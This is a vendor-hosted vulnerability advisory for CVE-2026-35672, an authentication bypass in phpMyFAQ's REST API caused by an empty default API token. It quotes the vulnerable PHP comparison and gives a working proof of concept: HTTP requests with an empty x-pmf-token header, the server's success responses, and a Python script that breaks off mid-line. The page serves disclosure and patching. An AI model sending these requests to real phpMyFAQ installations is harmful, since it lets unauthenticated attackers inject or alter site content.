Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35672 — phpmyfaq

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-1188 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

phpMyFAQ: Default Empty API Token Authentication Bypass

Summary

A default empty API client token allows any unauthenticated user to create and modify FAQ entries, categories, and questions via the REST API. The vulnerability exists in all versions since API v4.0 was introduced because the installation process seeds api.apiClientToken with an empty string, and the hasValidToken() comparison logic cannot distinguish between "no token configured" and "attacker sent a matching empty token header."

Details

The root cause is in two files:

1. Installation default (src/phpMyFAQ/Setup/Installation/DefaultDataSeeder.php, line 277-278):

```php

'api.enableAccess' => 'true',

'api.apiClientToken' => '', // ← defaults to empty string

```

2. Authentication check (src/phpMyFAQ/Controller/AbstractController.php, line 198-204):

```php

protected function hasValidToken(): void

{

$request = Request::createFromGlobals();

if ($this->configuration->get('api.apiClientToken') !== $request->headers->get('x-pmf-token')) {

throw new UnauthorizedHttpException('"x-pmf-token" is not valid.');

}

}

```

The method uses strict inequality (!==). When api.apiClientToken is '' (default) and the attacker sends x-pmf-token: (empty header value), the comparison becomes '' !== '' which evaluates to false — no exception is thrown, and authentication is completely bypassed.

The OpenAPI annotations confirm the developer intended these endpoints to require authentication: write endpoints are tagged 'Endpoints with Authentication' and document HTTP 401 responses, while read-only endpoints are tagged 'Public Endpoints'.

The following API endpoints call $this->hasValidToken() as their only authentication check:

| File | Endpoint | Method |

| ------------------------------------------------------- | ---------------------- | ------ |

| src/.../Controller/Api/FaqController.php:701-703 | /api/v4.0/faq/create | POST |

| src/.../Controller/Api/FaqController.php:857-859 | /api/v4.0/faq/update | PUT |

| src/.../Controller/Api/CategoryController.php:278-280 | /api/v4.0/category | POST |

| src/.../Controller/Api/QuestionController.php:89-91 | /api/v4.0/question | POST |

PoC

Environment: phpMyFAQ 4.2.0-alpha, PHP 8.4.16, SQLite, installed with all defaults.

Step 1 — Verify that requests without auth header are correctly rejected:

```http

POST /api/v4.0/faq/create HTTP/1.1

Host: <target>

Content-Type: application/json

{

"language": "en",

"category-id": 1,

"question": "Test Question",

"answer": "Test Answer",

"keywords": "test",

"author": "test",

"email": "[email protected]",

"is-active": true,

"is-sticky": false

}

```

Response (HTTP 401 — correctly blocked):

```json

{"type":".../problems/unauthorized","title":"Unauthorized","status":401,"detail":"Unauthorized access.","instance":"/v4.0/faq/create"}

```

Step 2 — Send the same request with an empty x-pmf-token header:

```http

POST /api/v4.0/faq/create HTTP/1.1

Host: <target>

Content-Type: application/json

x-pmf-token:

{

"language": "en",

"category-id": 1,

"question": "[POC] Authentication Bypass Confirmed",

"answer": "This FAQ was created without any valid authentication token.",

"keywords": "poc,bypass",

"author": "Security Researcher",

"email": "[email protected]",

"is-active": true,

"is-sticky": false

}

```

Response (HTTP 201 — bypass confirmed):

```json

{"stored": true}

```

Step 3 — Category creation via the same bypass:

```http

POST /api/v4.0/category HTTP/1.1

Host: <target>

Content-Type: application/json

x-pmf-token:

{

"language": "en",

"parent-id": 0,

"category-name": "POC_Category",

"description": "Category created via empty token bypass",

"user-id": 1,

"group-id": -1,

"is-active": true,

"show-on-homepage": true

}

```

Response (HTTP 201):

```json

{"stored": true}

```

Step 4 — Verify injected content is publicly visible:

```http

GET /api/v4.0/faqs/1 HTTP/1.1

Host: <target>

```

Response (HTTP 200 — injected FAQ publicly exposed):

```json

[{"record_id":1,"record_lang":"en","category_id":1,"record_title":"[POC] Authentication Bypass Confirmed","record_preview":"This FAQ was created without any valid authentication token. ..."}]

```

PoC with Python (urllib — no external dependencies):

```python

import urllib.request, json

TARGET = "http://<target>"

HEADERS = {"Content-Type": "application/json", "x-pmf-token": ""}

# Create FAQ via empty token bypass

data = json.dumps({

"language": "en", "category-id": 1,

"question": "[POC] Auth Bypass", "answer": "Created via bypass.",

"keywords": "poc", "author": "R", "email": "[email protected]",

"is-active": True, "is-sticky": False

}).encode()

req = urllib.request.Request(f"{TARGET}/api/v4.0/faq/create", data=data, headers=HEADERS,

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-35672 is classified as CWE-1188: Insecure Default Initialization of Resource. Default settings are insecure, so an installation is exposed until someone changes them.

Affected software

CVE-2026-35672 is recorded against 3 packages.

  • phpmyfaq/phpmyfaq (fixed in 4.1.3)
  • thorsten/phpmyfaq (fixed in 4.1.3)
  • unknown

Timeline and source

Published on 20 May 2026 and last revised on 9 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
www.vulncheck.com (Web)

Other advisories for this package

phpmyfaq/phpmyfaq has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-1188: Insecure Default Initialization of Resource) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
CWE CWE-1188
Public Exploit ✅ No
Source NVD
Published 2026-05-20
Updated 2026-08-20
Modified 2026-06-09
Fix URL N/A

Affected Packages

Software From version Fixed in
phpmyfaq/phpmyfaq 4.1.3
thorsten/phpmyfaq 4.1.3
unknown

Similar Threats

Site Security Check

Is phpmyfaq part of your stack?

CVE-2026-35672 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026